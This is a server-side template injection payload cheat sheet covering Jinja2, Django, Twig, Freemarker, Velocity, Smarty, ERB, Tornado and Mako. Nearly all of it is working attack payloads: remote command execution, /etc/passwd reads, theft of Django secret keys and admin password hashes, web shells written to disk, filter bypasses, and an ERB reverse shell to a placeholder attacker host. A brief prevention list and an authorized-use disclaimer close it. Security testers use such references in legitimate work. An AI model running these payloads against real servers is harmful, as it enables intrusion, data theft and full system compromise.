SSTI (Server-Side Template Injection) Payloads
Server-Side Template Injection (SSTI) occurs when attackers inject malicious template directives into a template, which is then executed server-side. This can lead to remote code execution, information disclosure, and full system compromise.
Detection
Basic Detection Payloads
${7*7}
{{7*7}}
#{7*7}
<%= 7*7 %>
${{7*7}}
@(7*7)
{7*7}
Polyglot Detection
${{<%[%'"}}%\.
{{7*'7'}}
${7*'7'}
Jinja2 (Python/Flask)
Basic Payloads
{{7*7}}
{{config}}
{{self}}
{{request}}
Remote Code Execution
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{self.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()}}
File Reading
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
Listing Subclasses
{{''.__class__.__mro__}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__base__.__subclasses__()}}
{{request.__class__.__ mro__}}
Finding Useful Subclass Indices
{% for i in range(0,500) %}
{{ i }} - {{''.__class__.__mro__[1].__subclasses__()[i].__name__}}
{% endfor %}
Bypass Filters
# Without quotes
{{request.args.cmd}} # Pass ?cmd=whoami
# Using attr()
{{request.application|attr('__globals__')}}
# Using filters
{{''.__class__}}
{{''|attr('__class__')}}
# Unicode bypass
{{\u0027\u0027.__class__}}
Flask-Specific
{{config.items()}}
{{get_flashed_messages.__globals__}}
{{url_for.__globals__}}
{{g}}
Django Templates
Basic Payloads
{{7*7}}
{% debug %}
{{settings}}
{{request}}
Information Disclosure
{{settings.SECRET_KEY}}
{{settings.DATABASES}}
{{messages.storages.0.signer.key}}
Advanced Payloads
{% load log %}
{% get_admin_log 10 as log %}
{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}
{% endfor %}
{% include "admin/base.html" %}
When Django Uses Jinja2
{{7*'7'}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig (PHP)
Basic Detection
{{7*7}}
{{7*'7'}}
{{"a"~"b"}}
Remote Code Execution
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
{{['cat /etc/passwd']|map('system')|join}}
{{{'<?php system($_GET["cmd"]);?>':'/var/www/html/shell.php'}|map('file_put_contents')}}
File Reading
{{'/etc/passwd'|file_excerpt(1,-1)}}
{{include('file:///etc/passwd')}}
{{"/etc/passwd"|file_excerpt(1,30)}}
Environment Manipulation
{{_self.env.disableStrictVariables()}}
{{_self.env.enableDebug()}}
{{_self.env.setCache("")}}
Freemarker (Java)
Basic Detection
${7*7}
#{7*7}
[#if true]true[/#if]
Remote Code Execution
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex("java.lang.ProcessBuilder",["whoami"]).start()}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
File Reading
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}
Information Gathering
${.now}
${.version}
${.data_model}
Velocity (Java)
Basic Detection
#set($x=7*7)$x
#set($a=7)#set($b=7)$a*$b
Remote Code Execution
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
#set($e="")
$e.class.forName("java.lang.Runtime").getRuntime().exec("whoami")
Smarty (PHP)
Basic Detection
{7*7}
{'7'*'7'}
{if 1}true{/if}
Remote Code Execution
{system('whoami')}
{system('id')}
{exec('cat /etc/passwd')}
{php}system('whoami');{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
File Reading
{include file='/etc/passwd'}
{include file='file:/etc/passwd'}
ERB (Ruby)
Basic Detection
<%= 7*7 %>
<%= '7'*7 %>
Remote Code Execution
<%= system('whoami') %>
<%= `whoami` %>
<%= %x(whoami) %>
<%= exec('whoami') %>
<%= IO.popen('whoami').readlines() %>
<%= `ls /` %>
<%= File.open('/etc/passwd').read %>
Reverse Shell
<%= require 'socket';s=TCPSocket.open("ATTACKER_IP",4444);while cmd=s.gets;IO.popen(cmd,"r"){|io|s.print io.read}end %>
Tornado (Python)
Basic Detection
{{7*7}}
{{7*'7'}}
Remote Code Execution
{% import os %}{{os.system('whoami')}}
{% import subprocess %}{{subprocess.check_output('whoami',shell=True)}}
{% import os %}{{os.popen('id').read()}}
{%import os%}{{os.system('cat /etc/passwd')}}
Mako (Python)
Basic Detection
${7*7}
<%=7*7%>
Remote Code Execution
${self.module.cache.util.os.system("whoami")}
<%
import os
os.system("whoami")
%>
${__import__('os').system('id')}
<%
import subprocess
subprocess.check_output('whoami',shell=True)
%>
Advanced SSTI Techniques
Polyglot Payloads
${{<%[%'"}}%\.
{7*7}${7*7}{{7*7}}#{7*7}
Bypassing Filters
Attribute Access Bypass
# If '.' is filtered
{{request['application']}}
{{request|attr('application')}}
# If '__' is filtered
{{request['__class__']}}
{{request|attr('_' + '_class_' + '_')}}
String Concatenation
{{''.__class__}}
{{request.__class__}}
{{request['__'+'class'+'__']}}
Using Request Parameters
# ?cmd=__class__
{{request.args.cmd}}
# ?cmd=whoami
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}
Prevention Best Practices
- Sandboxed Environments: Use sandboxed template engines
- Input Validation: Never allow user input directly in templates
- Logic-less Templates: Use logic-less template engines when possible
- Whitelist Allowed Objects: Limit accessible objects and methods
- Update Template Engines: Keep template systems up-to-date
- Code Review: Review template code for injection risks
- WAF Rules: Implement WAF rules to detect SSTI patterns
Testing Tools
- Tplmap - Automated SSTI detection and exploitation
- Burp Suite - Manual testing with Intruder
- SSTI Scanner (BApp) - Burp Suite extension
- SSTImap - SSTI exploitation tool
⚠️ Warning: These payloads are for educational and authorized security testing purposes only. Unauthorized use is illegal.